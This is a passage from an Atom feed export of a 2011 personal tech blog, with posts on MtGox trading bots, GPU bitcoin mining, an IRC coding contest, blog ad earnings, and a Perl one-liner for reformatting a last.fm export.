href="http://bsdpunk.blogspot.com/2011/07/bitcoin-software-for-mtgoxs-api.html"&gt;http://bsdpunk.blogspot.com/2011/07/bitcoin-software-for-mtgoxs-api.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When I run this script I actually start a screen session, then type: php mtgox.php &gt; mtgox.log&lt;br /&gt;After that I open a terminal window and tail -f mtgox.log&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-3991053622500730699?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/3991053622500730699/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=3991053622500730699' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3991053622500730699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3991053622500730699'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/07/modified-php-bot-for-trading-bitcoins.html' title='Modified PHP bot for trading bitcoins on mtgox'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-8606579301127513546</id><published>2011-07-31T09:43:00.000-07:00</published><updated>2011-07-31T09:44:27.994-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bitcoins'/><category scheme='http://www.blogger.com/atom/ns#' term='api'/><category scheme='http://www.blogger.com/atom/ns#' term='json'/><category scheme='http://www.blogger.com/atom/ns#' term='mtgox'/><title type='text'>Bitcoin software for mtgox's api</title><content type='html'>MtGox has this wonderful API: &lt;a href="https://mtgox.com/support/tradeAPI "&gt;https://mtgox.com/support/tradeAPI &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;There's also a perl module for MtGox: &lt;a href="http://search.cpan.org/~mndrix/Finance-MtGox-0.01/lib/Finance/MtGox.pm"&gt;http://search.cpan.org/~mndrix/Finance-MtGox-0.01/lib/Finance/MtGox.pm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And someone wrote this handy PHP bot, who I promise in the future I will donate some sort of bitcoinage too, because I ripped this thing apart and made my own, but he certainly made my life much easier:&lt;br /&gt;Forum post:&lt;br /&gt;http://forum.bitcoin.org/index.php?topic=31693.msg398512#msg398512&lt;br /&gt;Actual Website to download File:&lt;br /&gt;&lt;a href="http://bitklein.com/bot.php"&gt;http://bitklein.com/bot.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'll post some of my modifications to the bot some time in the future.&lt;br /&gt;&lt;br /&gt;Also if you're really interested in bitcoin mining, I invite you to take a look under the hood of the bitcoin miner poclbm &lt;br /&gt;&lt;a href="https://github.com/m0mchil/poclbm"&gt;https://github.com/m0mchil/poclbm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-8606579301127513546?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/8606579301127513546/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=8606579301127513546' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8606579301127513546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8606579301127513546'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/07/bitcoin-software-for-mtgoxs-api.html' title='Bitcoin software for mtgox&apos;s api'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6340895923549336443</id><published>2011-07-31T09:24:00.000-07:00</published><updated>2011-07-31T09:45:46.487-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='amd'/><category scheme='http://www.blogger.com/atom/ns#' term='mining'/><category scheme='http://www.blogger.com/atom/ns#' term='bitcoins'/><category scheme='http://www.blogger.com/atom/ns#' term='ati'/><category scheme='http://www.blogger.com/atom/ns#' term='miners'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Bitcoins bitcoins bitcoins</title><content type='html'>I'm going to defcon soon and it seem that there is only one lectrure on bitcoins. This saddens me. I use Mt.Gox to do all my bitcoin transactions. Which is to say convert my bitcoins into DOLLA DOLLA DOLLA bills. I am somewhat proud and somewhat ashamed to admit I am a bitcoin miner. As of right now I don't have any winning tips for you on how to be a miner. I will however introduce you to them.&lt;br /&gt;&lt;br /&gt;Go here if you want to read the real version of what they are and how they work, instead of my dramaticized half fictional account: &lt;a href="http://en.wikipedia.org/wiki/Bitcoin"&gt;http://en.wikipedia.org/wiki/Bitcoin&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Bitcoins are a currency based on cryptography, using various mathmatics to prevent shenanigans. Bitcoin miners, people who provide proof of work, for the bitcoins, can actually aquire bitcoins. And bitcoins can be turned into dolla dolla dolla bills. So to do this proof of work you rent out your proccessor, ok really you need to rent out your graphics card: ( &lt;a href="https://en.bitcoin.it/wiki/Mining_hardware_comparison"&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt; )&lt;br /&gt;&lt;br /&gt;Woah Woah Woah, why are all the cards ATI..., well it turns out the function mostly used is sha256 and guess what, on ATI cards, there is a specific asm function for that....WAY TO GO Amd.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So get a client to cruch this cryptography and start cracking away. Use poclbm if you got graphics cards on the brain( &lt;a href="https://github.com/m0mchil/poclbm"&gt;https://github.com/m0mchil/poclbm&lt;/a&gt; ). Now if you want to use CPU's which is by all accounts is at least 50 some odd times slower you can still go for it, use RPCMiner for mac, and minerd for linux. Join a mining pool like deepbit and start crackalackin a way.&lt;br /&gt;&lt;br /&gt;If you join a mining pool the rewards can come very fast.......but with very fast, come very small rewards, lol.&lt;br /&gt;&lt;br /&gt;CAVEATS:&lt;br /&gt;OH AND ONE HUGE CAVEAT. This will eat electricity like a mother fucker. No joke, if you live in (Worse case US scenario ) Hawaii, have two rigs, with 2 graphics cards a piece your electric bill can go up over 200 dollars what it normally is. LOl that math is bad and terrible. For real math ( &lt;a href="http://www.pcper.com/reviews/Graphics-Cards/Bitcoin-Mining-Update-Power-Usage-Costs-Across-United-States"&gt;http://www.pcper.com/reviews/Graphics-Cards/Bitcoin-Mining-Update-Power-Usage-Costs-Across-United-States&lt;/a&gt; ). This also makes crunching solely on cpus, pretty much a no gain death trap, by my understanding.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6340895923549336443?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6340895923549336443/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6340895923549336443' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6340895923549336443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6340895923549336443'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/07/bitcoins-bitcoins-bitcoins.html' title='Bitcoins bitcoins bitcoins'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-703294060050164779</id><published>2011-07-31T08:57:00.000-07:00</published><updated>2011-07-31T08:57:36.021-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='submissions'/><category scheme='http://www.blogger.com/atom/ns#' term='contest'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Updates to Contest and Goings on (Defcon)</title><content type='html'>If you have a submission for the contest find someway of getting it to me, whether that be bsdpunk at the gmail, or a comment to your github, or whatever your preferred method of delivery is. I'll announce a winner soon.&lt;br /&gt;&lt;br /&gt;In other news, I will be at defcon, if you would like to befriend/harass me. So give me a tweetage @bsdpunk if you'd like to meet up.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-703294060050164779?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/703294060050164779/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=703294060050164779' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/703294060050164779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/703294060050164779'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/07/updates-to-contest-and-goings-on-defcon.html' title='Updates to Contest and Goings on (Defcon)'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5362617356901831234</id><published>2011-06-12T23:20:00.000-07:00</published><updated>2011-06-12T23:20:22.164-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><category scheme='http://www.blogger.com/atom/ns#' term='irc.malvager.net'/><category scheme='http://www.blogger.com/atom/ns#' term='irc'/><category scheme='http://www.blogger.com/atom/ns#' term='contest'/><category scheme='http://www.blogger.com/atom/ns#' term='code'/><category scheme='http://www.blogger.com/atom/ns#' term='#devel'/><title type='text'>#devel contest draft rules</title><content type='html'>It's contest time again, and more particularly, it's contest time for the #devel channel on irc.malvager.net&lt;br /&gt;&lt;br /&gt;Draft Rules for the #devel contest of irc.malvager.net:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Create a tool that will either allow or otherwise encourage people in #devel to collaborate in code writing and or sharing. The platform/language can be any (within reason; if you’re not sure, ask). It will be judged subjectively by both bsdpunk and psycho on both functionality and creativity. The first place prize will be a bsdpunk t-shirt and an Arduino (or Arduino clone). The second place prize is an Arduino (or clone). If god willing a third place prize, tbd (this one is not written in stone).&lt;br /&gt;&lt;br /&gt;Contest will be over on the 20th of July.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Draft rules are subject to change for the next week, keep updated by looking at this blog(rules will only change by minor stipulations, the spirit of the contest will remain the same).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5362617356901831234?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5362617356901831234/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5362617356901831234' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5362617356901831234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5362617356901831234'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/06/devel-contest-draft-rules.html' title='#devel contest draft rules'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-2634550982973680694</id><published>2011-05-29T07:07:00.000-07:00</published><updated>2011-05-29T07:07:50.345-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='photo shoot'/><category scheme='http://www.blogger.com/atom/ns#' term='traffic'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>The blog has been around for a wee bit. And will be around for a wee bit more.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-W3yWlErBeJ8/TeJSiov7heI/AAAAAAAAAGM/SZ-t6uBc_L0/s1600/Screen%2Bshot%2B2011-05-29%2Bat%2B8.56.55%2BAM.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="207" width="320" src="http://2.bp.blogspot.com/-W3yWlErBeJ8/TeJSiov7heI/AAAAAAAAAGM/SZ-t6uBc_L0/s320/Screen%2Bshot%2B2011-05-29%2Bat%2B8.56.55%2BAM.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;I got my first check from google, for running ads on my site. My first blog post, for this particular blog, was on Tuesday, January 22, 2008. That check, is a reflection of from then, until now. I told my girlfriend that I had gotten the check and she said that was cool, and I was like not really, 3 years of work, translated into 73 dollars didn't seem good to me. And asked, well isn't it "free money", from a labor of love?&lt;br /&gt;&lt;br /&gt;Hmm… Had to think on this one for a moment. It certainly didn't start out that way. I started writing the blog, thinking I could sell T-shirts and get advertisement revenue, by attracting teenagers with a disposable income. This certainly isn't what happened. If you will waltz down memory lane with me for a paragraph I'd appreciate it.&lt;br /&gt;&lt;br /&gt;In the first year, I started it to make money. Which in retrospect was dumb. I got an account on a forum site, hackforums.net. Which turned out to be the right demographic, but people searching for the wrong knowledge base. For the first year that site was 70% of my traffic with the other 20 - 30% coming from google search results. I worked hard to be someone on that site and eventually I was even a moderator for it. I busted my ass that first year, writing the majority of the now 433 posts on this blog, being written in that time. And I tried to sell &lt;a href="http://cafepress.com/bsdpunk"&gt;t-shirts&lt;/a&gt;, even had a &lt;a href="http://www.flickr.com/photos/bsdpunkblog/sets/72157604250960677/"&gt;photo shoot&lt;/a&gt;, lol.&lt;br /&gt;&lt;br /&gt;I really began exploring other creative mediums as time progressed, the blog gave me a vehicle and confidence to do so. I wrote some, hmmm, would you call it &lt;a href="http://bsdpunk.blogspot.com/2009/01/gigatanmouse-announcement.html"&gt;music&lt;/a&gt;? Eventually finishing an "EP" which you can still download from &lt;a href="http://www.last.fm/music/MC+GoblinMajick/GoblinMajick+Short+Unrelated+Songs+on+a+Pseudo+EP"&gt;last.fm&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I'm doing lot's of other little things. That are various and sundry labors of lover perhaps. In fact I'm microblogging right now at &lt;a href="http://ramblings.malvager.net"&gt;http://ramblings.malvager.net&lt;/a&gt;. I do a &lt;a href="http://fuckinfiction.wereboobs.com"&gt;fiction blog&lt;/a&gt; that most certainly is a labor of love. And other &lt;a href="http://wereboobs.com"&gt;side projects&lt;/a&gt; that may fall into that category. And another goblin majick album coming up too.&lt;br /&gt;&lt;br /&gt;So what is it now, obviously I'm still blogging, and I'm not making money off of it. I've got about 5 posts planned out as of right now, don't know whether they all get released next week or next month. Is it a labor of love? It must certainly isn't. Is it to make money? Of course not. All I can say for sure, is it's a force of habbit.&lt;br /&gt;&lt;br /&gt;irc.malvager.net, is my only continuously kept updated labor of love, and for me it's more of a money sync than a labor of love, because two(&lt;a href="http://www.completelyhonest.net/"&gt;kye&lt;/a&gt;, &lt;a href="http://gracioussatan.tumblr.com/"&gt;psycho&lt;/a&gt;) of the GREATEST people, and damn good hackers too, help me maintain it, while I just pay a chunk of the server bill. Seriously, love you guys; in the words of Jesse Dangerously, I couldn't make a move without you guys, y'all my legs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-2634550982973680694?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/2634550982973680694/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=2634550982973680694' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/2634550982973680694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/2634550982973680694'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/05/blog-has-been-around-for-wee-bit-and.html' title='The blog has been around for a wee bit. And will be around for a wee bit more.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-W3yWlErBeJ8/TeJSiov7heI/AAAAAAAAAGM/SZ-t6uBc_L0/s72-c/Screen%2Bshot%2B2011-05-29%2Bat%2B8.56.55%2BAM.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7098641587819273693</id><published>2011-04-07T02:11:00.000-07:00</published><updated>2011-04-07T02:43:13.707-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='last.fm'/><category scheme='http://www.blogger.com/atom/ns#' term='algos'/><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><category scheme='http://www.blogger.com/atom/ns#' term='regex'/><category scheme='http://www.blogger.com/atom/ns#' term='music'/><category scheme='http://www.blogger.com/atom/ns#' term='parse'/><title type='text'>Last.fm I must leave thee.</title><content type='html'>I really like last.fm, I like what it keeps track of. That's what I like about it. I don't like it's algo, the math they use to determine what songs you like. Yeah I listened to ICP in the 5th grade...no I don't need every single song I listen to today to be from &lt;a href="http://en.wikipedia.org/wiki/Psychopathic_Records"&gt;Psychopathic Records&lt;/a&gt;. At one point on my "Reccomended" I could only get comedy because I liked a few comedians tracks, and a lot of nerdcore. ::facepalm:: &lt;br /&gt;&lt;br /&gt;Do not need.&lt;br /&gt;&lt;br /&gt;So I don't care, they keep track of what I'm listening to, that's what I use the service for, and for the create your own station by tag or whatever the option is called. This station only mildly has to do with that tag, which for better or worse is usually better than the radio....wait, not if you live near/in Nashville. &lt;a href="http://savewrvuradio.wordpress.com/"&gt;We have 91.1...at least for a little while&lt;/a&gt;. Losing that station is going to suck.&lt;br /&gt;&lt;br /&gt;I digress. So I went to listen on my phone today, to Last.fm and sure enough there's a pay wall for mobile devices now. I did a double take...seriously. I started poking around there website to see what the deal was, and wonderfully enough there is an export in XML format, for your loved tracks.&lt;br /&gt;&lt;br /&gt;I took the chance, and indeed &lt;a href="http://www.youtube.com/watch?v=RTiyLuZOs1A"&gt;Paul Simon was right&lt;/a&gt;. I hopped on the Bus Gus. So I grabbed that file. I decided to make it more readable for non geeks, so I did this to put a more readable version in a file called titles:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;cat bsdpunk_lovedtracks.xspf |perl -pe "s/.*&amp;lt;title&amp;gt;(.*)&amp;lt;\/title&amp;gt;&amp;lt;creator&amp;gt;(.*)&amp;lt;\/creator&amp;gt;.*/Song: \1 Artist: \2/gi"&amp;gt; titles&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Yeah yeah I know, &lt;a href="http://www.codinghorror.com/blog/2009/11/parsing-html-the-cthulhu-way.html"&gt;don't parse XML with regex, it will anger Chthulu&lt;/a&gt;. I still don't know what you are supposed to use to parse it without regex, and even if I did I probably wouldn't use it for this, it took me less than a few minutes to write.&lt;br /&gt;&lt;br /&gt;Also does that snippet of code help...no not really. I mean that's to give you something that is human readable to other people, you know...normies, so you have a:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;Song: Twenty-Three Artist: MC Lars&lt;br /&gt;Song: Listen Close Artist: MC Frontalot&lt;br /&gt;Song: In Arrears Artist: MC Frontalot&lt;br /&gt;Song: Why So Nerdcore Artist: MC GoblinMajick&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;What will I ultimately do with this xml file...obviously not this, unless I just wanted to paste it up somewhere like a web page.&lt;br /&gt;&lt;br /&gt;I think I actually want to build my own algo. In some way it can be run independently, of pay services that actually provide the music, like last.fm.&lt;br /&gt;&lt;br /&gt;How will I do this...I have no idea. It's 4 in the morning, and I have to be at work in a few hours, I just couldn't sleep.&lt;br /&gt;&lt;br /&gt;Until then I will use Pandora on my phone( evo shift ). My very awesome phone I am very much in love with(not sarcasm).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7098641587819273693?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7098641587819273693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7098641587819273693' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7098641587819273693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7098641587819273693'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/04/lastfm-i-must-leave-thee.html' title='Last.fm I must leave thee.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6822320095899699441</id><published>2011-04-04T08:11:00.000-07:00</published><updated>2011-04-04T10:11:40.598-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='investment'/><category scheme='http://www.blogger.com/atom/ns#' term='vc'/><category scheme='http://www.blogger.com/atom/ns#' term='software companies'/><category scheme='http://www.blogger.com/atom/ns#' term='earning'/><title type='text'>Read this, for his name is fishmeal</title><content type='html'>&lt;a href="http://blog.wilshipley.com/2011/04/success-and-farming-vs-mining.html"&gt;Success and Farming vs Mining&lt;/a&gt;&lt;br /&gt;Read this, and if you don't read it, then the tl;dr I got out of it, is quoted below.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;This doesn’t work. Your idea sucks. No, I’m not calling you stupid — my idea sucks, too. All ideas suck, because they are just ideas. They’re worth nothing.&lt;br /&gt;&lt;br /&gt;My success is because I worked to make the idea real. A lot. All my life. Starting when I was 12, I learned to program, and I’ve programmed every spare moment since. I didn’t become a millionaire until I’d worked at it for eighteen years. There was no genius idea I had. I just kept working, hating what I did before, and working some more to make it better.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I've been thinking about how I should focus, on what I should be doing, who I should be working for, and what I should be learning. It was nice to have a lighthouse in the fog. I know where I'm headed, but the occasional reminder never hurts.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6822320095899699441?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6822320095899699441/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6822320095899699441' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6822320095899699441'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6822320095899699441'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/04/read-this-for-his-name-is-fismeal.html' title='Read this, for his name is fishmeal'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1718670282074224985</id><published>2011-03-31T12:25:00.000-07:00</published><updated>2011-03-31T12:25:21.809-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='geohot'/><category scheme='http://www.blogger.com/atom/ns#' term='8bit'/><category scheme='http://www.blogger.com/atom/ns#' term='8bit music'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='donate'/><category scheme='http://www.blogger.com/atom/ns#' term='japan'/><title type='text'>Donate to Japan, Keep Checking on GeoHot and Keep it Real programming</title><content type='html'>I really appreciate this site because the only image is the center one(well the center image is a bunch of images put together), but the rest of the "logos" are randomly created through javascript. &lt;a href="http://next.do/"&gt;http://next.do/&lt;/a&gt;, I used the idea, and quite honestly borrowed a lot of the javascript to create something for my girlfriend. &lt;br /&gt;&lt;br /&gt;This week though I couldn't afford to give much I did give to one charitable japan cause, one because I like 8 bit music and two because....well there was a god damned earthquake:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://truechiptilldeath.com/japan/"&gt;http://truechiptilldeath.com/japan/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You get a SHITLOAD of tracks for whatever you donate....if you do donate small like I do, I suggest you also donate the cost of the credit card transaction, the extra 83 cents or whatever isn't going to kill you.&lt;br /&gt;&lt;br /&gt;And it looks like the first round of donations for geohot(PS3 hacker) are closed, but keep abreast of the situation &lt;a href="http://geohotgotsued.blogspot.com/"&gt;Geohot's blog&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And if you need your daily dose of reality, in the programming realm, take a look at this &lt;a href="http://blog.tabini.ca/2011/03/the-lost-art-of-using-your-brain/"&gt;Use your brain&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ok no more shitty link posts....ever again...I promise...until next month anyway.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1718670282074224985?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1718670282074224985/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1718670282074224985' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1718670282074224985'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1718670282074224985'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2011/03/donate-to-japan-keep-checking-on-geohot.html' title='Donate to Japan, Keep Checking on GeoHot and Keep it Real programming'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7796154902298082934</id><published>2011-03-31T11:54:00.000-07:00</published><updated>2011-03-31T11:54:27.516-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='scams'/><category scheme='http://www.blogger.com/atom/ns#' term='trolling'/><category scheme='http://www.blogger.com/atom/ns#' term='christian'/><category scheme='http://www.blogger.com/atom/ns#' term='business'/><title type='text'>Using Javascript in the address bar</title><content type='html'>One easy way to run javascript in your browser is to, simply type:&lt;br /&gt;&lt;pre&gt;javascript: and then a javascript function&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So for example, if you want to change the term Christian Business into scams, just paste this into your address bar.&lt;br /&gt;&lt;br 